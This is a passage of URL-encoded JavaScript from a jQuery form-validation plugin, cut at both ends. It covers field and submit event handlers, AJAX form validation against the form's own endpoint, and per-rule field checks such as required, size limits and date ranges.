ter%27%29.remove%28%29%3B%0A%09%09%09%09%20%24%28this%29.remove%28%29%3B%0A%09%09%09%20%7D%29%3B%0A%09%09%09%20return%20this%3B%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Typically%20called%20when%20user%20exists%20a%20field%20using%20tab%20or%20a%20mouse%20click%2C%20triggers%20a%20field%0A%09%09*%20validation%0A%09%09*/%0A%09%09_onFieldEvent%3A%20function%28event%29%20%7B%0A%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09var%20form%20%3D%20field.closest%28%27form%2C%20.validationEngineContainer%27%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09options.eventTrigger%20%3D%20%22field%22%3B%0A%09%09%09//%20validate%20the%20current%20field%0A%09%09%09window.setTimeout%28function%28%29%20%7B%0A%09%09%09%09methods._validateField%28field%2C%20options%29%3B%0A%09%09%09%09if%20%28options.InvalidFields.length%20%3D%3D%200%20%26%26%20options.onFieldSuccess%29%20%7B%0A%09%09%09%09%09options.onFieldSuccess%28%29%3B%0A%09%09%09%09%7D%20else%20if%20%28options.InvalidFields.length%20%3E%200%20%26%26%20options.onFieldFailure%29%20%7B%0A%09%09%09%09%09options.onFieldFailure%28%29%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%2C%20%28event.data%29%20%3F%20event.data.delay%20%3A%200%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Called%20when%20the%20form%20is%20submited%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%0A%09%09*%20@return%20false%20if%20form%20submission%20needs%20to%20be%20cancelled%0A%09%09*/%0A%09%09_onSubmitEvent%3A%20function%28%29%20%7B%0A%09%09%09var%20form%20%3D%20%24%28this%29%3B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%09%09%09%0A%09%09%09//check%20if%20it%20is%20trigger%20from%20skipped%20button%0A%09%09%09if%20%28form.data%28%22jqv_submitButton%22%29%29%7B%0A%09%09%09%09var%20submitButton%20%3D%20%24%28%22%23%22%20+%20form.data%28%22jqv_submitButton%22%29%29%3B%0A%09%09%09%09if%20%28submitButton%29%7B%0A%09%09%09%09%09if%20%28submitButton.length%20%3E%200%29%7B%0A%09%09%09%09%09%09if%20%28submitButton.hasClass%28%22validate-skip%22%29%20%7C%7C%20submitButton.attr%28%22data-validation-engine-skip%22%29%20%3D%3D%20%22true%22%29%0A%09%09%09%09%09%09%09return%20true%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%0A%09%09%09options.eventTrigger%20%3D%20%22submit%22%3B%0A%0A%09%09%09//%20validate%20each%20field%20%0A%09%09%09//%20%28-%20skip%20field%20ajax%20validation%2C%20not%20necessary%20IF%20we%20will%20perform%20an%20ajax%20form%20validation%29%0A%09%09%09var%20r%3Dmethods._validateFields%28form%29%3B%0A%0A%09%09%09if%20%28r%20%26%26%20options.ajaxFormValidation%29%20%7B%0A%09%09%09%09methods._validateFormWithAjax%28form%2C%20options%29%3B%0A%09%09%09%09//%20cancel%20form%20auto-submission%20-%20process%20with%20async%20call%20onAjaxFormComplete%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%0A%09%09%09if%28options.onValidationComplete%29%20%7B%0A%09%09%09%09//%20%21%21%20ensures%20that%20an%20undefined%20return%20is%20interpreted%20as%20return%20false%20but%20allows%20a%20onValidationComplete%28%29%20to%20possibly%20return%20true%20and%20have%20form%20continue%20processing%0A%09%09%09%09return%20%21%21options.onValidationComplete%28form%2C%20r%29%3B%0A%09%09%09%7D%0A%09%09%09return%20r%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Return%20true%20if%20the%20ajax%20field%20validations%20passed%20so%20far%0A%09%09*%20@param%20%7BObject%7D%20options%0A%09%09*%20@return%20true%2C%20is%20all%20ajax%20validation%20passed%20so%20far%20%28remember%20ajax%20is%20async%29%0A%09%09*/%0A%09%09_checkAjaxStatus%3A%20function%28options%29%20%7B%0A%09%09%09var%20status%20%3D%20true%3B%0A%09%09%09%24.each%28options.ajaxValidCache%2C%20function%28key%2C%20value%29%20%7B%0A%09%09%09%09if%20%28%21value%29%20%7B%0A%09%09%09%09%09status%20%3D%20false%3B%0A%09%09%09%09%09//%20break%20the%20each%0A%09%09%09%09%09return%20false%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%09%09%09return%20status%3B%0A%09%09%7D%2C%0A%09%09%0A%09%09/**%0A%09%09*%20Return%20true%20if%20the%20ajax%20field%20is%20validated%0A%09%09*%20@param%20%7BString%7D%20fieldid%0A%09%09*%20@param%20%7BObject%7D%20options%0A%09%09*%20@return%20true%2C%20if%20validation%20passed%2C%20false%20if%20false%20or%20doesn%27t%20exist%0A%09%09*/%0A%09%09_checkAjaxFieldStatus%3A%20function%28fieldid%2C%20options%29%20%7B%0A%09%09%09return%20options.ajaxValidCache%5Bfieldid%5D%20%3D%3D%20true%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20form%20fields%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20form%0A%09%09*%20@param%20%7BskipAjaxFieldValidation%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20boolean%20-%20when%20set%20to%20true%2C%20ajax%20field%20validation%20is%20skipped%2C%20typically%20used%20when%20the%20submit%20button%20is%20clicked%0A%09%09*%0A%09%09*%20@return%20true%20if%20form%20is%20valid%2C%20false%20if%20not%2C%20undefined%20if%20ajax%20form%20validation%20is%20done%0A%09%09*/%0A%09%09_validateFields%3A%20function%28form%29%20%7B%0A%09%09%09var%20options%20%3D%20form.data%28%27jqv%27%29%3B%0A%0A%09%09%09//%20this%20variable%20is%20set%20to%20true%20if%20an%20error%20is%20found%0A%09%09%09var%20errorFound%20%3D%20false%3B%0A%0A%09%09%09//%20Trigger%20hook%2C%20start%20validation%0A%09%09%09form.trigger%28%22jqv.form.validating%22%29%3B%0A%09%09%09//%20first%2C%20evaluate%20status%20of%20non%20ajax%20fields%0A%09%09%09var%20first_err%3Dnull%3B%0A%09%09%09form.find%28%27%5B%27+options.validateAttribute+%27*%3Dvalidate%5D%27%29.not%28%22%3Adisabled%22%29.each%28%20function%28%29%20%7B%0A%09%09%09%09var%20field%20%3D%20%24%28this%29%3B%0A%09%09%09%09var%20names%20%3D%20%5B%5D%3B%0A%09%09%09%09if%20%28%24.inArray%28field.attr%28%27name%27%29%2C%20names%29%20%3C%200%29%20%7B%0A%09%09%09%09%09errorFound%20%7C%3D%20methods._validateField%28field%2C%20options%29%3B%0A%09%09%09%09%09if%20%28errorFound%20%26%26%20first_err%3D%3Dnull%29%0A%09%09%09%09%09%09if%20%28field.is%28%22%3Ahidden%22%29%20%26%26%20options.prettySelect%29%0A%09%09%09%09%09%09%09first_err%20%3D%20field%20%3D%20form.find%28%22%23%22%20+%20options.usePrefix%20+%20methods._jqSelector%28field.attr%28%27id%27%29%29%20+%20options.useSuffix%29%3B%0A%09%09%09%09%09%09else%20%7B%0A%0A%09%09%09%09%09%09%09//Check%20if%20we%20need%20to%20adjust%20what%20element%20to%20show%20the%20prompt%20on%0A%09%09%09%09%09%09%09//and%20and%20such%20scroll%20to%20instead%0A%09%09%09%09%09%09%09if%28field.data%28%27jqv-prompt-at%27%29%20instanceof%20jQuery%20%29%7B%0A%09%09%09%09%09%09%09%09field%20%3D%20field.data%28%27jqv-prompt-at%27%29%3B%0A%09%09%09%09%09%09%09%7D%20else%20if%28field.data%28%27jqv-prompt-at%27%29%29%20%7B%0A%09%09%09%09%09%09%09%09field%20%3D%20%24%28field.data%28%27jqv-prompt-at%27%29%29%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09first_err%3Dfield%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09if%20%28options.doNotShowAllErrosOnSubmit%29%0A%09%09%09%09%09%09return%20false%3B%0A%09%09%09%09%09names.push%28field.attr%28%27name%27%29%29%3B%0A%0A%09%09%09%09%09//if%20option%20set%2C%20stop%20checking%20validation%20rules%20after%20one%20error%20is%20found%0A%09%09%09%09%09if%28options.showOneMessage%20%3D%3D%20true%20%26%26%20errorFound%29%7B%0A%09%09%09%09%09%09return%20false%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%0A%09%09%09//%20second%2C%20check%20to%20see%20if%20all%20ajax%20calls%20completed%20ok%0A%09%09%09//%20errorFound%20%7C%3D%20%21methods._checkAjaxStatus%28options%29%3B%0A%0A%09%09%09//%20third%2C%20check%20status%20and%20scroll%20the%20container%20accordingly%0A%09%09%09form.trigger%28%22jqv.form.result%22%2C%20%5BerrorFound%5D%29%3B%0A%0A%09%09%09if%20%28errorFound%29%20%7B%0A%09%09%09%09if%20%28options.scroll%29%20%7B%0A%09%09%09%09%09var%20destination%3Dfirst_err.offset%28%29.top%3B%0A%09%09%09%09%09var%20fixleft%20%3D%20first_err.offset%28%29.left%3B%0A%0A%09%09%09%09%09//prompt%20positioning%20adjustment%20support.%20Usage%3A%20positionType%3AXshift%2CYshift%20%28for%20ex.%3A%20bottomLeft%3A+20%20or%20bottomLeft%3A-20%2C+10%29%0A%09%09%09%09%09var%20positionType%3Doptions.promptPosition%3B%0A%09%09%09%09%09if%20%28typeof%28positionType%29%3D%3D%27string%27%20%26%26%20positionType.indexOf%28%22%3A%22%29%21%3D-1%29%0A%09%09%09%09%09%09positionType%3DpositionType.substring%280%2CpositionType.indexOf%28%22%3A%22%29%29%3B%0A%0A%09%09%09%09%09if%20%28positionType%21%3D%22bottomRight%22%20%26%26%20positionType%21%3D%22bottomLeft%22%29%20%7B%0A%09%09%09%09%09%09var%20prompt_err%3D%20methods._getPrompt%28first_err%29%3B%0A%09%09%09%09%09%09if%20%28prompt_err%29%20%7B%0A%09%09%09%09%09%09%09destination%3Dprompt_err.offset%28%29.top%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%7D%0A%09%09%09%09%09%0A%09%09%09%09%09//%20Offset%20the%20amount%20the%20page%20scrolls%20by%20an%20amount%20in%20px%20to%20accomodate%20fixed%20elements%20at%20top%20of%20page%0A%09%09%09%09%09if%20%28options.scrollOffset%29%20%7B%0A%09%09%09%09%09%09destination%20-%3D%20options.scrollOffset%3B%0A%09%09%09%09%09%7D%0A%0A%09%09%09%09%09//%20get%20the%20position%20of%20the%20first%20error%2C%20there%20should%20be%20at%20least%20one%2C%20no%20need%20to%20check%20this%0A%09%09%09%09%09//var%20destination%20%3D%20form.find%28%22.formError%3Anot%28%27.greenPopup%27%29%3Afirst%22%29.offset%28%29.top%3B%0A%09%09%09%09%09if%20%28options.isOverflown%29%20%7B%0A%09%09%09%09%09%09var%20overflowDIV%20%3D%20%24%28options.overflownDIV%29%3B%0A%09%09%09%09%09%09if%28%21overflowDIV.length%29%20return%20false%3B%0A%09%09%09%09%09%09var%20scrollContainerScroll%20%3D%20overflowDIV.scrollTop%28%29%3B%0A%09%09%09%09%09%09var%20scrollContainerPos%20%3D%20-parseInt%28overflowDIV.offset%28%29.top%29%3B%0A%0A%09%09%09%09%09%09destination%20+%3D%20scrollContainerScroll%20+%20scrollContainerPos%20-%205%3B%0A%09%09%09%09%09%09var%20scrollContainer%20%3D%20%24%28options.overflownDIV%20+%20%22%3Anot%28%3Aanimated%29%22%29%3B%0A%0A%09%09%09%09%09%09scrollContainer.animate%28%7B%20scrollTop%3A%20destination%20%7D%2C%201100%2C%20function%28%29%7B%0A%09%09%09%09%09%09%09if%28options.focusFirstField%29%20first_err.focus%28%29%3B%0A%09%09%09%09%09%09%7D%29%3B%0A%0A%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%24%28%22html%2C%20body%22%29.animate%28%7B%0A%09%09%09%09%09%09%09scrollTop%3A%20destination%0A%09%09%09%09%09%09%7D%2C%201100%2C%20function%28%29%7B%0A%09%09%09%09%09%09%09if%28options.focusFirstField%29%20first_err.focus%28%29%3B%0A%09%09%09%09%09%09%7D%29%3B%0A%09%09%09%09%09%09%24%28%22html%2C%20body%22%29.animate%28%7BscrollLeft%3A%20fixleft%7D%2C1100%29%0A%09%09%09%09%09%7D%0A%0A%09%09%09%09%7D%20else%20if%28options.focusFirstField%29%0A%09%09%09%09%09first_err.focus%28%29%3B%0A%09%09%09%09return%20false%3B%0A%09%09%09%7D%0A%09%09%09return%20true%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20This%20method%20is%20called%20to%20perform%20an%20ajax%20form%20validation.%0A%09%09*%20During%20this%20process%20all%20the%20%28field%2C%20value%29%20pairs%20are%20sent%20to%20the%20server%20which%20returns%20a%20list%20of%20invalid%20fields%20or%20true%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20form%0A%09%09*%20@param%20%7BMap%7D%20options%0A%09%09*/%0A%09%09_validateFormWithAjax%3A%20function%28form%2C%20options%29%20%7B%0A%0A%09%09%09var%20data%20%3D%20form.serialize%28%29%3B%0A%09%09%09%09%09%09%09%09%09var%20type%20%3D%20%28options.ajaxFormValidationMethod%29%20%3F%20options.ajaxFormValidationMethod%20%3A%20%22GET%22%3B%0A%09%09%09var%20url%20%3D%20%28options.ajaxFormValidationURL%29%20%3F%20options.ajaxFormValidationURL%20%3A%20form.attr%28%22action%22%29%3B%0A%09%09%09%09%09%09%09%09%09var%20dataType%20%3D%20%28options.dataType%29%20%3F%20options.dataType%20%3A%20%22json%22%3B%0A%09%09%09%24.ajax%28%7B%0A%09%09%09%09type%3A%20type%2C%0A%09%09%09%09url%3A%20url%2C%0A%09%09%09%09cache%3A%20false%2C%0A%09%09%09%09dataType%3A%20dataType%2C%0A%09%09%09%09data%3A%20data%2C%0A%09%09%09%09form%3A%20form%2C%0A%09%09%09%09methods%3A%20methods%2C%0A%09%09%09%09options%3A%20options%2C%0A%09%09%09%09beforeSend%3A%20function%28%29%20%7B%0A%09%09%09%09%09return%20options.onBeforeAjaxFormValidation%28form%2C%20options%29%3B%0A%09%09%09%09%7D%2C%0A%09%09%09%09error%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09%09%09methods._ajaxError%28data%2C%20transport%29%3B%0A%09%09%09%09%7D%2C%0A%09%09%09%09success%3A%20function%28json%29%20%7B%0A%09%09%09%09%09if%20%28%28dataType%20%3D%3D%20%22json%22%29%20%26%26%20%28json%20%21%3D%3D%20true%29%29%20%7B%0A%09%09%09%09%09%09//%20getting%20to%20this%20case%20doesn%27t%20necessary%20means%20that%20the%20form%20is%20invalid%0A%09%09%09%09%09%09//%20the%20server%20may%20return%20green%20or%20closing%20prompt%20actions%0A%09%09%09%09%09%09//%20this%20flag%20helps%20figuring%20it%20out%0A%09%09%09%09%09%09var%20errorInForm%3Dfalse%3B%0A%09%09%09%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20json.length%3B%20i++%29%20%7B%0A%09%09%09%09%09%09%09var%20value%20%3D%20json%5Bi%5D%3B%0A%0A%09%09%09%09%09%09%09var%20errorFieldId%20%3D%20value%5B0%5D%3B%0A%09%09%09%09%09%09%09var%20errorField%20%3D%20%24%28%24%28%22%23%22%20+%20errorFieldId%29%5B0%5D%29%3B%0A%0A%09%09%09%09%09%09%09//%20make%20sure%20we%20found%20the%20element%0A%09%09%09%09%09%09%09if%20%28errorField.length%20%3D%3D%201%29%20%7B%0A%0A%09%09%09%09%09%09%09%09//%20promptText%20or%20selector%0A%09%09%09%09%09%09%09%09var%20msg%20%3D%20value%5B2%5D%3B%0A%09%09%09%09%09%09%09%09//%20if%20the%20field%20is%20valid%0A%09%09%09%09%09%09%09%09if%20%28value%5B1%5D%20%3D%3D%20true%29%20%7B%0A%0A%09%09%09%09%09%09%09%09%09if%20%28msg%20%3D%3D%20%22%22%20%20%7C%7C%20%21msg%29%7B%0A%09%09%09%09%09%09%09%09%09%09//%20if%20for%20some%20reason%2C%20status%3D%3Dtrue%20and%20error%3D%22%22%2C%20just%20close%20the%20prompt%0A%09%09%09%09%09%09%09%09%09%09methods._closePrompt%28errorField%29%3B%0A%09%09%09%09%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%09%09//%20the%20field%20is%20valid%2C%20but%20we%20are%20displaying%20a%20green%20prompt%0A%09%09%09%09%09%09%09%09%09%09if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertTextOk%3B%0A%09%09%09%09%09%09%09%09%09%09%09if%20%28txt%29%0A%09%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%09if%20%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22pass%22%2C%20false%2C%20options%2C%20true%29%3B%0A%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%09//%20the%20field%20is%20invalid%2C%20show%20the%20red%20error%20prompt%0A%09%09%09%09%09%09%09%09%09errorInForm%7C%3Dtrue%3B%0A%09%09%09%09%09%09%09%09%09if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertText%3B%0A%09%09%09%09%09%09%09%09%09%09if%20%28txt%29%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09if%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22%22%2C%20false%2C%20options%2C%20true%29%3B%0A%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09options.onAjaxFormComplete%28%21errorInForm%2C%20form%2C%20json%2C%20options%29%3B%0A%09%09%09%09%09%7D%20else%0A%09%09%09%09%09%09options.onAjaxFormComplete%28true%2C%20form%2C%20json%2C%20options%29%3B%0A%0A%09%09%09%09%7D%0A%09%09%09%7D%29%3B%0A%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Validates%20field%2C%20shows%20prompts%20accordingly%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20field%27s%20validation%20rules%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20false%20if%20field%20is%20valid%20%28It%20is%20inversed%20for%20*fields*%2C%20it%20return%20false%20on%20validate%20and%20true%20on%20errors.%29%0A%09%09*/%0A%09%09_validateField%3A%20function%28field%2C%20options%2C%20skipAjaxValidation%29%20%7B%0A%09%09%09if%20%28%21field.attr%28%22id%22%29%29%20%7B%0A%09%09%09%09field.attr%28%22id%22%2C%20%22form-validation-field-%22%20+%20%24.validationEngine.fieldIdCounter%29%3B%0A%09%09%09%09++%24.validationEngine.fieldIdCounter%3B%0A%09%09%09%7D%0A%0A%20%20%20%20%20%20%20%20%20%20%20if%20%28%21options.validateNonVisibleFields%20%26%26%20%28field.is%28%22%3Ahidden%22%29%20%26%26%20%21options.prettySelect%20%7C%7C%20field.parent%28%29.is%28%22%3Ahidden%22%29%29%29%0A%09%09%09%09return%20false%3B%0A%0A%09%09%09var%20rulesParsing%20%3D%20field.attr%28options.validateAttribute%29%3B%0A%09%09%09var%20getRules%20%3D%20/validate%5C%5B%28.*%29%5C%5D/.exec%28rulesParsing%29%3B%0A%0A%09%09%09if%20%28%21getRules%29%0A%09%09%09%09return%20false%3B%0A%09%09%09var%20str%20%3D%20getRules%5B1%5D%3B%0A%09%09%09var%20rules%20%3D%20str.split%28/%5C%5B%7C%2C%7C%5C%5D/%29%3B%0A%0A%09%09%09//%20true%20if%20we%20ran%20the%20ajax%20validation%2C%20tells%20the%20logic%20to%20stop%20messing%20with%20prompts%0A%09%09%09var%20isAjaxValidator%20%3D%20false%3B%0A%09%09%09var%20fieldName%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20promptText%20%3D%20%22%22%3B%0A%09%09%09var%20promptType%20%3D%20%22%22%3B%0A%09%09%09var%20required%20%3D%20false%3B%0A%09%09%09var%20limitErrors%20%3D%20false%3B%0A%09%09%09options.isError%20%3D%20false%3B%0A%09%09%09options.showArrow%20%3D%20true%3B%0A%09%09%09%0A%09%09%09//%20If%20the%20programmer%20wants%20to%20limit%20the%20amount%20of%20error%20messages%20per%20field%2C%0A%09%09%09if%20%28options.maxErrorsPerField%20%3E%200%29%20%7B%0A%09%09%09%09limitErrors%20%3D%20true%3B%0A%09%09%09%7D%0A%0A%09%09%09var%20form%20%3D%20%24%28field.closest%28%22form%2C%20.validationEngineContainer%22%29%29%3B%0A%09%09%09//%20Fix%20for%20adding%20spaces%20in%20the%20rules%0A%09%09%09for%20%28var%20i%20%3D%200%3B%20i%20%3C%20rules.length%3B%20i++%29%20%7B%0A%09%09%09%09rules%5Bi%5D%20%3D%20rules%5Bi%5D.replace%28%22%20%22%2C%20%22%22%29%3B%0A%09%09%09%09//%20Remove%20any%20parsing%20errors%0A%09%09%09%09if%20%28rules%5Bi%5D%20%3D%3D%3D%20%27%27%29%20%7B%0A%09%09%09%09%09delete%20rules%5Bi%5D%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%0A%09%09%09for%20%28var%20i%20%3D%200%2C%20field_errors%20%3D%200%3B%20i%20%3C%20rules.length%3B%20i++%29%20%7B%0A%09%09%09%09%0A%09%09%09%09//%20If%20we%20are%20limiting%20errors%2C%20and%20have%20hit%20the%20max%2C%20break%0A%09%09%09%09if%20%28limitErrors%20%26%26%20field_errors%20%3E%3D%20options.maxErrorsPerField%29%20%7B%0A%09%09%09%09%09//%20If%20we%20haven%27t%20hit%20a%20required%20yet%2C%20check%20to%20see%20if%20there%20is%20one%20in%20the%20validation%20rules%20for%20this%0A%09%09%09%09%09//%20field%20and%20that%20it%27s%20index%20is%20greater%20or%20equal%20to%20our%20current%20index%0A%09%09%09%09%09if%20%28%21required%29%20%7B%0A%09%09%09%09%09%09var%20have_required%20%3D%20%24.inArray%28%27required%27%2C%20rules%29%3B%0A%09%09%09%09%09%09required%20%3D%20%28have_required%20%21%3D%20-1%20%26%26%20%20have_required%20%3E%3D%20i%29%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%09%0A%09%09%09%09%0A%09%09%09%09var%20errorMsg%20%3D%20undefined%3B%0A%09%09%09%09switch%20%28rules%5Bi%5D%29%20%7B%0A%0A%09%09%09%09%09case%20%22required%22%3A%0A%09%09%09%09%09%09required%20%3D%20true%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._required%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22custom%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._custom%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22groupRequired%22%3A%0A%09%09%09%09%09%09//%20Check%20is%20its%20the%20first%20of%20group%2C%20if%20not%2C%20reload%20validation%20with%20first%20field%0A%09%09%09%09%09%09//%20AND%20continue%20normal%20validation%20on%20present%20field%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+rules%5Bi%20+%201%5D%20+%22%5D%22%3B%0A%09%09%09%09%09%09var%20firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09if%28firstOfGroup%5B0%5D%20%21%3D%20field%5B0%5D%29%7B%0A%0A%09%09%09%09%09%09%09methods._validateField%28firstOfGroup%2C%20options%2C%20skipAjaxValidation%29%3B%20%0A%09%09%09%09%09%09%09options.showArrow%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._groupRequired%29%3B%0A%09%09%09%09%09%09if%28errorMsg%29%20%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22ajax%22%3A%0A%09%09%09%09%09%09//%20AJAX%20defaults%20to%20returning%20it%27s%20loading%20message%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._ajax%28field%2C%20rules%2C%20i%2C%20options%29%3B%0A%09%09%09%09%09%09if%20%28errorMsg%29%20%7B%0A%09%09%09%09%09%09%09promptType%20%3D%20%22load%22%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22minSize%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._minSize%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22maxSize%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._maxSize%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22min%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._min%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22max%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._max%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22past%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._past%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22future%22%3A%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._future%29%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22dateRange%22%3A%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+%20rules%5Bi%20+%201%5D%20+%20%22%5D%22%3B%0A%09%09%09%09%09%09options.firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09options.secondOfGroup%20%3D%20form.find%28classGroup%29.eq%281%29%3B%0A%0A%09%09%09%09%09%09//if%20one%20entry%20out%20of%20the%20pair%20has%20value%20then%20proceed%20to%20run%20through%20validation%0A%09%09%09%09%09%09if%20%28options.firstOfGroup%5B0%5D.value%20%7C%7C%20options.secondOfGroup%5B0%5D.value%29%20%7B%0A%09%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._dateRange%29%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09if%20%28errorMsg%29%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%0A%09%09%09%09%09case%20%22dateTimeRange%22%3A%0A%09%09%09%09%09%09var%20classGroup%20%3D%20%22%5B%22+options.validateAttribute+%22*%3D%22%20+%20rules%5Bi%20+%201%5D%20+%20%22%5D%22%3B%0A%09%09%09%09%09%09options.firstOfGroup%20%3D%20form.find%28classGroup%29.eq%280%29%3B%0A%09%09%09%09%09%09options.secondOfGroup%20%3D%20form.find%28classGroup%29.eq%281%29%3B%0A%0A%09%09%09%09%09%09//if%20one%20entry%20out%20of%20the%20pair%20has%20value%20then%20proceed%20to%20run%20through%20validation%0A%09%09%09%09%09%09if%20%28options.firstOfGroup%5B0%5D.value%20%7C%7C%20options.secondOfGroup%5B0%5D.value%29%20%7B%0A%09%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2Crules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._dateTimeRange%29%3B%0A%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09if%20%28errorMsg%29%20required%20%3D%20true%3B%0A%09%09%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09%09%09break%3B%0A%09%09%09%09%09case%20%22maxCheckbox%22%3A%0A%09%09%09%09%09%09field%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20fieldName%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09%09%09%09errorMsg%20%3D%20methods._getErrorMessage%28form%2C%20field%2C%20rules%5Bi%5D%2C%20rules%2C%20i%2C%20options%2C%20methods._maxCheckbox%29%